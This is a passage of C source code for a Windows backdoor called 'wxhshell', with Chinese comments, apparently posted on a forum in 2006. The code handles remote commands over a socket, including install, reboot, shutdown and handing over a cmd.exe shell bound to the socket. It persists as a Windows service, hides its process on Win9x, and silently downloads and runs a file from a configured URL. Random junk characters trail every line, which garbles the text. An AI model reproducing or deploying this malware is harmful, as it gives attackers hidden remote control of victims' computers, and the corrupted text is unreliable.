    switch(cmd[0]) { D) ;w)`  
  vbSycZ2M7  
  // 帮助 vmIt!x  
  case '?': { /L*JHNu"_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k07pI<a?  
    break; )k6kK}  
  } a/dq+  
  // 安装 :FX|9h  
  case 'i': {  7 j8Ou3  
    if(Install()) k`h#.B J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j6DI$tV~  
    else ?OF9{$m3?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qkb=KS%z  
    break; DZqY=Sze  
    } 9N V.<&~  
  // 卸载 {W$K@vuV;?  
  case 'r': { ,f^ ICM  
    if(Uninstall()) @~8*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q%n$IQr4gM  
    else HMqR%A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]oxi~TwY^  
    break; }) Zcw1g  
    } 3H ,?ZFFGz  
  // 显示 wxhshell 所在路径 %3@-. =  
  case 'p': { ")@#B=8+3^  
    char svExeFile[MAX_PATH]; W(\ ^6S)  
    strcpy(svExeFile,"\n\r"); @^Yr=d ba  
      strcat(svExeFile,ExeFile); ;bRyk#  
        send(wsh,svExeFile,strlen(svExeFile),0); v:?l C<,  
    break; IQeiT[TF  
    } OZ, Xu&N  
  // 重启 6|Xe ],u  
  case 'b': { 4Be\5Byr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D";@)\jN  
    if(Boot(REBOOT)) #eIFRNRb)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  {[dY$  
    else { vX|5*T`(  
    closesocket(wsh); +F+M[ef<ws  
    ExitThread(0); 7> 8L%(7  
    } wEC,Mbn  
    break; <.hutU*1  
    } ;@xlrj+  
  // 关机 4d\V=_);r  
  case 'd': { Go(Td++HS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n+S&[Y  
    if(Boot(SHUTDOWN)) {A'_5 X9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tmi)LRF H  
    else { }CL7h;5N 3  
    closesocket(wsh); v1z d[jqk  
    ExitThread(0); !<?<f db  
    } v UhgM'  
    break; 9_fbl:qk;\  
    } ><I{R|bC  
  // 获取shell f$ 7C 5  
  case 's': { .F G%QFF~  
    CmdShell(wsh); K/K|[=bl  
    closesocket(wsh); bvS6xU- J  
    ExitThread(0); sE&1ZJ]7  
    break; +t3o5&  
  } _!,Ees=b  
  // 退出 rn/~W[  
  case 'x': { HoK+g_9~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yK-DzAv  
    CloseIt(wsh); ~LQzt@G4  
    break; pQ>|d H+.  
    } N'i)s{'  
  // 离开  ?tA%A  
  case 'q': { )qe rA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5XV|*O;  
    closesocket(wsh); uVTacN%X  
    WSACleanup(); hZlHY9[t?  
    exit(1); i%[+C  
    break; Q[ ?R{w6  
        } W^)mz,%x  
  } @JGFG+J}  
  } /l_u $"  
sC0u4w>Y  
  // 提示信息 `][vaLd`Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k||dX(gl  
} ) J.xQ}g  
  } VXW*LEk  
hz*T"HJ]t  
  return; wl&T9O;?  
} ,J,Rup">h  
v>j,8E  
// shell模块句柄 < Sgc6>)  
int CmdShell(SOCKET sock) -+Ot' ^  
{ HNCu:$Wr@  
STARTUPINFO si; KJ:z\N8eo  
ZeroMemory(&si,sizeof(si)); n_Qua|R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4hc[ rN,]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '&e8;X  
PROCESS_INFORMATION ProcessInfo; ,n[<[tkCR  
char cmdline[]="cmd"; 6<T:B[a-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1Iy1xiP  
  return 0; :P/VBXh  
} @_?2iN?4Z  
q ajZ~oB{  
// 自身启动模式 Q4_r) &np  
int StartFromService(void) \Oq8kJ=  
{ U[02$gd0l  
typedef struct }X?#"JFX?  
{ wN58uV '  
  DWORD ExitStatus; Li]96+C$}  
  DWORD PebBaseAddress; tjt^R$[@  
  DWORD AffinityMask; !+A%`m  
  DWORD BasePriority; WG3!M/4r H  
  ULONG UniqueProcessId; LRts W(A/  
  ULONG InheritedFromUniqueProcessId; $y&W:  
}   PROCESS_BASIC_INFORMATION; VnVBA-#r|  
#Tei0B7  
PROCNTQSIP NtQueryInformationProcess; |Y05 *!\P*  
z=) m6\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zWhj >Za  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '~Cn+xf4]  
n@xQ-v  
  HANDLE             hProcess; KILX?Pt[7  
  PROCESS_BASIC_INFORMATION pbi; NXFi*  
r dSL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NLY=o@<  
  if(NULL == hInst ) return 0; :CW^$Zvq  
^)?Wm,{"w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E& i (T2c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]t~.?)Ad+2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JJ7A` ;  
h{iuk3G`h6  
  if (!NtQueryInformationProcess) return 0; aqN{@|  
!5(DU~S*@S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V~[b`&F  
  if(!hProcess) return 0; j :B/ FL  
Jh0Grq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F`m}RL]g  
oG1zPspL  
  CloseHandle(hProcess); RW+u5Y  
CTW\Dt5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TDDMx |{  
if(hProcess==NULL) return 0; Lm~<BBp.  
fMg9h9U  
HMODULE hMod; lbda/Zx  
char procName[255]; m..ajYSQ  
unsigned long cbNeeded; q+\<%$:u  
17Cb{Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =yZq]g6Q  
< ,0D|O ,Y  
  CloseHandle(hProcess); ,{HQKHg  
"H[K3  
if(strstr(procName,"services")) return 1; // 以服务启动 u_$4xNmQ  
m6mGcbpn  
  return 0; // 注册表启动 d,Aa8I  
} (T#$0RFq  
ih".y3  
// 主模块 @@H_3!B%4v  
int StartWxhshell(LPSTR lpCmdLine) 0fXMY-$I  
{ iVn4eLK^v  
  SOCKET wsl; &M}X$k I  
BOOL val=TRUE; S[3"?$3S  
  int port=0; *^|\#UIk  
  struct sockaddr_in door; %US&`BT!  
1;$XX#7o  
  if(wscfg.ws_autoins) Install(); #j~FlY5  
j+gxn_E  
port=atoi(lpCmdLine); iibG$?(  
F)hj\aHm k  
if(port<=0) port=wscfg.ws_port; # -luE  
|ZH(Z}m  
  WSADATA data; ZX:rqc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r)5xS]  
^1.*NG8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B>L7UQ6_[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'Nl hLu  
  door.sin_family = AF_INET; W]oD(eZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6/8K2_UeoW  
  door.sin_port = htons(port); 0qJ (RB  
OKMdyyO<l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M9W zsWM  
closesocket(wsl); G(a5@9F  
return 1; 2nkA%^tR  
} k)n b<JW|r  
1 jidBzu<  
  if(listen(wsl,2) == INVALID_SOCKET) { }N[X<9^ Z  
closesocket(wsl); 4]U=Y>\Sr  
return 1; y8~OkdlN#  
} fIoc)T  
  Wxhshell(wsl); $v@$C4  
  WSACleanup(); 3 ,>M-F  
UN.;w3`Oc  
return 0; LIcc0w3  
V8M()7uJ  
} oFU:]+.+D  
$yASWz  
// 以NT服务方式启动 j hm3:;Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )*BZo>"  
{ &THtQ1D  
DWORD   status = 0; ynIC (t  
  DWORD   specificError = 0xfffffff; e3 v^j$  
Z`tmuu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $NVVurXa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;l*%IMB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wb.yGfJ  
  serviceStatus.dwWin32ExitCode     = 0; ))=6g@(  
  serviceStatus.dwServiceSpecificExitCode = 0; 5 b} w  
  serviceStatus.dwCheckPoint       = 0; S.!,qv z  
  serviceStatus.dwWaitHint       = 0; x []ad"R  
7 XxZF43  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VP#KoX85  
  if (hServiceStatusHandle==0) return; yI: ;+K  
x2B8G;6u  
status = GetLastError(); %P0  
  if (status!=NO_ERROR) I<D#   
{ _Xd"'cXw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "A}sD7xy9  
    serviceStatus.dwCheckPoint       = 0; }%u #TwZ  
    serviceStatus.dwWaitHint       = 0; Z<.&fZ^jS  
    serviceStatus.dwWin32ExitCode     = status; ,->K)Rs;  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,JZ>)(@)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <r#FI8P;X  
    return; PB@IPnB-  
  } _;k<=ns(=  
t%Jk3W/f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4 Im>2 )  
  serviceStatus.dwCheckPoint       = 0; -P;0<j@6k5  
  serviceStatus.dwWaitHint       = 0; \n[kzi7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ef`_ n+`  
} B%8@yS  
-V}oFxk]q  
// 处理NT服务事件,比如:启动、停止 WLl8oE< X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SZKYq8ZA)V  
{ fxd+0R;f  
switch(fdwControl) 'f<N7%eZ  
{ }nlS&gew^  
case SERVICE_CONTROL_STOP: VM%g QOo<  
  serviceStatus.dwWin32ExitCode = 0; \U$:/#1Oe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5_;-Qw  
  serviceStatus.dwCheckPoint   = 0; eUy*0  
  serviceStatus.dwWaitHint     = 0; 9rMO=  
  { +*8su5:[&@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C 7C4 eW8  
  } ^)-[g  
  return; <MbhBIejr  
case SERVICE_CONTROL_PAUSE: D./{f8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; / dJz?0  
  break; lEHx/#qt9  
case SERVICE_CONTROL_CONTINUE:  tKV,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D&):2F^9.  
  break; Z[nHo'  
case SERVICE_CONTROL_INTERROGATE: ~z:]rgX  
  break; /wLBmh1"  
}; 5mZ2CDV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nB`|VYmOP1  
} G=zNZ  
d^=)n-!T  
// 标准应用程序主函数 r!&174DSR1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *\XOQWrF  
{ 0#WN2f, <:  
p-i Fe\+  
// 获取操作系统版本 !.'D"Me>  
OsIsNt=GetOsVer(); wY<s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rn|]-^ku/  
UfX~GC;B  
  // 从命令行安装 #uU(G\^T  
  if(strpbrk(lpCmdLine,"iI")) Install(); UDJjw  
!`e`4y*N  
  // 下载执行文件 Z{B  e  
if(wscfg.ws_downexe) { r.e K;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5f7id7SI  
  WinExec(wscfg.ws_filenam,SW_HIDE); `^[k8Z(  
} KVOV<uDCj  
`0qjaC  
if(!OsIsNt) { t)&U'^  
// 如果时win9x,隐藏进程并且设置为注册表启动 .zgh,#=  
HideProc(); xS1|t};  
StartWxhshell(lpCmdLine); x#`p.sfVo  
} B/;> v  
else tBGLEeL/.  
  if(StartFromService()) *<sc[..)  
  // 以服务方式启动 :XhF:c[.:  
  StartServiceCtrlDispatcher(DispatchTable); b,^ "-r  
else %4LoEm=U  
  // 普通方式启动 )YAa7\Od  
  StartWxhshell(lpCmdLine); , Wd=!if  
5.\p]>|G1  
return 0; f5*qlQJFz\  
}
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只看该作者 1 发表于: 2006-10-10
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